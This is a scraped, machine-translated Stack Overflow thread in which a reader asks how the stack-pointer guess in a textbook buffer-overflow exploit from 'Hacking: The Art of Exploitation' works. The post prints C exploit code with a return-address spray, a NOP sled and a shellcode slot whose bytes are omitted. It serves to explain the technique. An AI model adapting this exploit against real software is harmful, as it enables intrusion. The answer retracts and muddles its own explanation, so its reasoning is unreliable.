gpt4 book ai didi

c - 来自 Hacking : The Art of Exploitation 的基于堆栈的溢出代码

转载 作者:太空宇宙 更新时间:2023-11-03 23:52:02 25 4
gpt4 key购买 nike

这可能与 this 有关,但我不确定它是否在同一条船上。

所以我一直在重新阅读黑客:剥削的艺术,我对书中的一些 C 代码有疑问,这对我来说不太有意义:

让我们假设我们回到了大约 2000 年,我们并没有真正的堆栈 cookie 和 ASLR(也许我们有,但还没有实现或没有广泛使用),或者我们没有任何其他类型的保护有现在的日子。

他向我们展示了这段代码来利用一个简单的基于堆栈的溢出:

#include <stdlib.h>

char shellcode[] = "..." // omitted

unsigned long sp(void)
{ __asm__("movl %esp, %eax); }

int main(int argc, char *argv[]) {
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
esp = sp();
ret = esp - offset;

// bunch of printfs here...

buffer = malloc(600);

ptr = buffer;
addr_ptr = (long *) ptr;
for(i = 0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }

for(i = 0; i < 200; i++)
{ buffer[i] = '\x90'; }

ptr = buffer + 200;
for(i = 0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

buffer[600-1] = 0;

execl("./vuln", "vuln", buffer, 0);

free(buffer);

return 0;
}

所以他想做的是获取 ESP 的地址并用该地址覆盖保存的 EIP,这样处理器就会跳转到他在内存中的 NOP sled 并执行堆栈中的 shellcode。

我不明白的是,他如何使用他在当前调用时从 sp() 获得的特定 ESP 值。

据我了解,堆栈看起来“像这样”:

...
saved ebp <-- execl
saved eip
"./vuln"
"vuln"
buffer
0
*ptr <-- sp() returns this address?
*buffer
*addr_ptr
ret
esp
offset
i
saved ebp <-- main
saved eip
argc
argv
...

既然他在漏洞利用这么早的时候就调用了(我知道这是一个函数指针,所以我猜措辞不完全准确?)sp(),难道不应该给他一个错误的 ESP 地址吗?即便如此,我也看不出他怎么能在这里使用这种技术,因为他永远不会在他的 vuln 程序中获得指向缓冲区顶部的 ESP。

谢谢。

最佳答案

I don't see how he can even use that technique here, because he will never get the ESP that points to the top of the buffer inside his vuln program.

这本书我读得不多,但我想我已经弄明白了。下面是 *buffer 的样子:

NOP sled | shellcode | Address of buffer in the exploit's stack frame

vulnbuffer 上执行 strcpy() 到它自己的堆栈时,它无法检查边界并用exploit 堆栈帧中缓冲区的起始地址,或者至少接近它的地址(因此是 NOP sled)。 复制到vuln栈帧的NOP sled和shellcode是偶然的;那不是它们运行的​​地方。 sled 和 shellcode 比 vuln 期望的 buffer 有多大是至关重要的 是,否则保存的 EIP 将被 shellcode 而不是 buffer 的地址覆盖。

然后,当在 buffer 上使用 strcpy()vuln 的任何部分返回时,它会转到 NOP sled 并执行 shellcode .

重要的一点是 buffer 在两个不同的地方被读取两次

编辑:无视那个,我把自己弄糊涂了(尽管感谢您接受!)。希望我不会让您也感到困惑,这就是我编写此编辑的原因。易受攻击的程序位于完全不同的虚拟内存空间中,因为它由操作系统在单独的进程(或具有新镜像的同一进程?随便)中运行。因此,vuln 无法访问漏洞利用的堆栈堆。

ESP 诡计一定是通过某种方式来猜测复制缓冲区中的 NOP sled 在vuln 堆栈中的最终位置。我个人希望偏移量比 0 大得多,因为与 vuln 相比,漏洞利用的堆栈非常小。

也就是说,我很确定 vuln 中仍然有两个 shellcode 副本(否则,strcpy() 来自什么?)。偏移量为 0,也许他正在运行存储在 argv[] 中的 shellcode...?!?在那种情况下,您仍然会遇到一个缓冲区中的地址指向另一个缓冲区中的 NOP sled 的情况,就像我原来的回答一样。不过,我以前也错了,所以如果这没有意义,请告诉我。

关于c - 来自 Hacking : The Art of Exploitation 的基于堆栈的溢出代码,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/17701145/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com